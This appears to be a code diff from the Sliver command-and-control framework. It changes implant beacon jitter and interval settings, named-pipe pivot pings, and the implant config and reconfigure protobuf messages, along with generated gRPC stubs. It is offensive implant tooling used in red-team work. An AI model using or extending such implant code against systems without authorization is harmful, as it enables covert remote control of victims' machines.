// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
func GetJitter() int64 {
if jitter == time.Duration(0) {
configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
jitter = time.Duration(configJitter)
if err != nil {
jitter = time.Duration(30 * time.Second)
}
}
return int64(jitter)
}
// SetJitter - Set the jitter value dynamically
func SetJitter(newJitter int64) {
jitter = time.Duration(newJitter)
}
// {{end}} - IsBeacon
// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
func GetInterval() int64 {
if interval == time.Duration(0) {
configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
if err != nil {
interval = time.Duration(30 * time.Second)
}
interval = time.Duration(configInterval)
}
return int64(interval)
}
// SetInterval - Set the interval value dynamically
func SetInterval(newInterval int64) {
interval = time.Duration(newInterval)
}
// {{end}} - IsBeacon
// GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
func GetMaxConnectionErrors() int {
maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)
@@ -56,6 +56,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
// {{end}}
close(send)
ctrl <- struct{}{}
pingCtrl <- struct{}{}
close(recv)
},
}
@@ -80,6 +81,9 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
case <-pingCtrl:
return
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[namedpipe] peer ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
@@ -87,11 +91,10 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Type: pb.MsgPivotPeerPing,
Data: data,
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[namedpipe] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
data, _ = proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
@@ -20,6 +20,7 @@ package wireguard
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// WireguardConnect - Placeholder for unsupported platforms
func WireguardConnect(_ string, _ uint16) (net.Conn, *device.Device, error) {
return nil, nil, errors.New("{{if .Config.Debug}}WireguardConnect not implemented on this platform{{end}}")
}
File diff suppressed because it is too large. Load diff
+5 -5
View File
@@ -161,6 +161,8 @@ message ImplantConfig {
string FileName = 102;
bool IsService = 103;
bool IsShellcode = 104;
bool RunAtLoad = 105;
}
// Configs of previously built implants
@@ -338,12 +340,10 @@ message Sessions {
repeated Session Sessions = 1;
}
message UpdateSession {
message RenameReq {
string SessionID = 1;
string Name = 2;
int64 ReconnectInterval = 3;
int64 PollInterval = 4;
repeated string Extensions = 5;
string BeaconID = 2;
string Name = 3;
}
message GenerateReq {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.19.4
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.19.4
// source: dnspb/dns.proto
package dnspb
File diff suppressed because it is too large. Load diff
+3 -1
View File
@@ -17,10 +17,11 @@ service SliverRPC {
// *** Generic ***
rpc Kill(sliverpb.KillReq) returns (commonpb.Empty);
rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure);
rpc Rename(clientpb.RenameReq) returns (commonpb.Empty);
// *** Sessions ***
rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions);
rpc UpdateSession(clientpb.UpdateSession) returns (clientpb.Session);
// *** Beacons ***
rpc GetBeacons(commonpb.Empty) returns (clientpb.Beacons);
@@ -123,6 +124,7 @@ service SliverRPC {
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
rpc MakeToken(sliverpb.MakeTokenReq) returns (sliverpb.MakeToken);
rpc GetEnv(sliverpb.EnvReq) returns (sliverpb.EnvInfo);
rpc SetEnv(sliverpb.SetEnvReq) returns (sliverpb.SetEnv);
+69 -33
View File
@@ -27,9 +27,10 @@ type SliverRPCClient interface {
GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error)
// *** Generic ***
Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error)
Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Sessions ***
GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error)
UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error)
// *** Beacons ***
GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error)
GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error)
@@ -198,18 +199,27 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts .
return out, nil
}
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
out := new(clientpb.Sessions)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) {
out := new(sliverpb.Reconfigure)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error) {
out := new(clientpb.Session)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateSession", in, out, opts...)
func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
out := new(clientpb.Sessions)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1310,9 +1320,10 @@ type SliverRPCServer interface {
GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error)
// *** Generic ***
Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error)
Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error)
Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error)
// *** Sessions ***
GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error)
UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error)
// *** Beacons ***
GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error)
GetBeacon(context.Context, *clientpb.Beacon) (*clientpb.Beacon, error)
@@ -1460,12 +1471,15 @@ func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empt
func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
}
func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
return nil, status.Errorf(codes.Unimplemented, "method Reconfigure not implemented")
}
func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented")
}
func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented")
}
func (UnimplementedSliverRPCServer) UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error) {
return nil, status.Errorf(codes.Unimplemented, "method UpdateSession not implemented")
}
func (UnimplementedSliverRPCServer) GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetBeacons not implemented")
}
@@ -1872,6 +1886,42 @@ func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(inte
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ReconfigureReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Reconfigure(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Reconfigure",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.RenameReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Rename(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Rename",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
@@ -1890,24 +1940,6 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_UpdateSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.UpdateSession)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).UpdateSession(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/UpdateSession",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).UpdateSession(ctx, req.(*clientpb.UpdateSession))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
@@ -3981,12 +4013,16 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_Kill_Handler,
},
{
MethodName: "GetSessions",
Handler: _SliverRPC_GetSessions_Handler,
MethodName: "Reconfigure",
Handler: _SliverRPC_Reconfigure_Handler,
},
{
MethodName: "UpdateSession",
Handler: _SliverRPC_UpdateSession_Handler,
MethodName: "Rename",
Handler: _SliverRPC_Rename_Handler,
},
{
MethodName: "GetSessions",
Handler: _SliverRPC_GetSessions_Handler,
},
{
MethodName: "GetBeacons",
+8 -14
View File
@@ -235,14 +235,11 @@ const (
// MsgSocksData - Response of SocksData
MsgSocksData
// MsgReconnectIntervalReq
MsgReconnectIntervalReq
// MsgReconfigureReq
MsgReconfigureReq
// MsgReconnectInterval - Set reconnect interval
MsgReconnectInterval
// MsgPollInterval - Set poll interval
MsgPollInterval
// MsgReconfigure - Set Reconfigure
MsgReconfigure
// MsgUnsetEnvReq
MsgUnsetEnvReq
@@ -449,14 +446,11 @@ func MsgNumber(request proto.Message) uint32 {
case *Portfwd:
return MsgPortfwd
case *ReconnectIntervalReq:
return MsgReconnectIntervalReq
case *ReconfigureReq:
return MsgReconfigureReq
case *Reconfigure:
return MsgReconfigure
case *ReconnectInterval:
return MsgReconnectInterval
case *PollInterval:
return MsgPollInterval
case *SSHCommandReq:
return MsgSSHCommandReq
+207 -186
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.19.4
// source: sliverpb/sliver.proto
package sliverpb
@@ -7953,18 +7953,20 @@ func (x *WGTCPForwarders) GetResponse() *commonpb.Response {
return nil
}
// ReconnectIntervalReq - Request the implant to update it's reconnect interval
type ReconnectIntervalReq struct {
// ReconfigureReq - Request the implant to reconfigure itself
type ReconfigureReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ReconnectInterval int64 `protobuf:"varint,1,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
BeaconInterval int64 `protobuf:"varint,2,opt,name=BeaconInterval,proto3" json:"BeaconInterval,omitempty"`
BeaconJitter int64 `protobuf:"varint,3,opt,name=BeaconJitter,proto3" json:"BeaconJitter,omitempty"`
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
}
func (x *ReconnectIntervalReq) Reset() {
*x = ReconnectIntervalReq{}
func (x *ReconfigureReq) Reset() {
*x = ReconfigureReq{}
if protoimpl.UnsafeEnabled {
mi := &file_sliverpb_sliver_proto_msgTypes[123]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
@@ -7972,13 +7974,13 @@ func (x *ReconnectIntervalReq) Reset() {
}
}
func (x *ReconnectIntervalReq) String() string {
func (x *ReconfigureReq) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ReconnectIntervalReq) ProtoMessage() {}
func (*ReconfigureReq) ProtoMessage() {}
func (x *ReconnectIntervalReq) ProtoReflect() protoreflect.Message {
func (x *ReconfigureReq) ProtoReflect() protoreflect.Message {
mi := &file_sliverpb_sliver_proto_msgTypes[123]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
@@ -7990,26 +7992,40 @@ func (x *ReconnectIntervalReq) ProtoReflect() protoreflect.Message {
return mi.MessageOf(x)
}
// Deprecated: Use ReconnectIntervalReq.ProtoReflect.Descriptor instead.
func (*ReconnectIntervalReq) Descriptor() ([]byte, []int) {
// Deprecated: Use ReconfigureReq.ProtoReflect.Descriptor instead.
func (*ReconfigureReq) Descriptor() ([]byte, []int) {
return file_sliverpb_sliver_proto_rawDescGZIP(), []int{123}
}
func (x *ReconnectIntervalReq) GetReconnectInterval() int64 {
func (x *ReconfigureReq) GetReconnectInterval() int64 {
if x != nil {
return x.ReconnectInterval
}
return 0
}
func (x *ReconnectIntervalReq) GetRequest() *commonpb.Request {
func (x *ReconfigureReq) GetBeaconInterval() int64 {
if x != nil {
return x.BeaconInterval
}
return 0
}
func (x *ReconfigureReq) GetBeaconJitter() int64 {
if x != nil {
return x.BeaconJitter
}
return 0
}
func (x *ReconfigureReq) GetRequest() *commonpb.Request {
if x != nil {
return x.Request
}
return nil
}
type ReconnectInterval struct {
type Reconfigure struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
@@ -8017,8 +8033,8 @@ type ReconnectInterval struct {
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
}
func (x *ReconnectInterval) Reset() {
*x = ReconnectInterval{}
func (x *Reconfigure) Reset() {
*x = Reconfigure{}
if protoimpl.UnsafeEnabled {
mi := &file_sliverpb_sliver_proto_msgTypes[124]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
@@ -8026,13 +8042,13 @@ func (x *ReconnectInterval) Reset() {
}
}
func (x *ReconnectInterval) String() string {
func (x *Reconfigure) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ReconnectInterval) ProtoMessage() {}
func (*Reconfigure) ProtoMessage() {}
func (x *ReconnectInterval) ProtoReflect() protoreflect.Message {
func (x *Reconfigure) ProtoReflect() protoreflect.Message {
mi := &file_sliverpb_sliver_proto_msgTypes[124]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
@@ -8044,12 +8060,12 @@ func (x *ReconnectInterval) ProtoReflect() protoreflect.Message {
return mi.MessageOf(x)
}
// Deprecated: Use ReconnectInterval.ProtoReflect.Descriptor instead.
func (*ReconnectInterval) Descriptor() ([]byte, []int) {
// Deprecated: Use Reconfigure.ProtoReflect.Descriptor instead.
func (*Reconfigure) Descriptor() ([]byte, []int) {
return file_sliverpb_sliver_proto_rawDescGZIP(), []int{124}
}
func (x *ReconnectInterval) GetResponse() *commonpb.Response {
func (x *Reconfigure) GetResponse() *commonpb.Response {
if x != nil {
return x.Response
}
@@ -9705,46 +9721,47 @@ var file_sliverpb_sliver_proto_rawDesc = []byte{
0x6e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x06, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x73, 0x12, 0x2e,
0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b,
0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70,
0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x92,
0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96,
0x01, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x12, 0x1c, 0x0a,
0x09, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c,
0x52, 0x09, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50,
0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65,
0x72, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79,
0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74,
0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65,
0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
0x4b, 0x65, 0x79, 0x22, 0x54, 0x0a, 0x16, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x72, 0x76,
0x65, 0x72, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x1a, 0x0a,
0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52,
0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53,
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x22, 0x37, 0x0a, 0x09, 0x50, 0x69, 0x76,
0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44,
0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x12,
0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
0x6d, 0x65, 0x22, 0xb4, 0x01, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72,
0x45, 0x6e, 0x76, 0x65, 0x6c, 0x6f, 0x70, 0x65, 0x12, 0x29, 0x0a, 0x05, 0x50, 0x65, 0x65, 0x72,
0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x52, 0x05, 0x50, 0x65,
0x65, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
0x0d, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52,
0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12,
0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44,
0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75,
0x72, 0x65, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72,
0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41, 0x74, 0x22, 0x21, 0x0a, 0x09, 0x50, 0x69, 0x76,
0x6f, 0x74, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x18,
0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x22, 0x4c, 0x0a, 0x0c,
0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6e, 0x6e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x16, 0x0a, 0x06,
0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65,
0x65, 0x72, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64,
0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d,
0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x22, 0x6b, 0x0a, 0x10, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x12, 0x16,
0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06,
0x52, 0x09, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x06, 0x50,
0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52,
0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69,
0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20,
0x01, 0x28, 0x09, 0x52, 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69,
0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69,
0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x22, 0x54, 0x0a, 0x16, 0x50, 0x69, 0x76, 0x6f, 0x74,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67,
0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20,
0x01, 0x28, 0x03, 0x52, 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a,
0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28,
0x0c, 0x52, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x22, 0x3b, 0x0a,
0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65,
0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06,
0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb4, 0x01, 0x0a, 0x11, 0x50,
0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x45, 0x6e, 0x76, 0x65, 0x6c, 0x6f, 0x70, 0x65,
0x12, 0x29, 0x0a, 0x05, 0x50, 0x65, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74,
0x50, 0x65, 0x65, 0x72, 0x52, 0x05, 0x50, 0x65, 0x65, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x54,
0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12,
0x26, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49,
0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65,
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18,
0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x50,
0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01,
0x28, 0x03, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41,
0x74, 0x22, 0x21, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x14,
0x0a, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e,
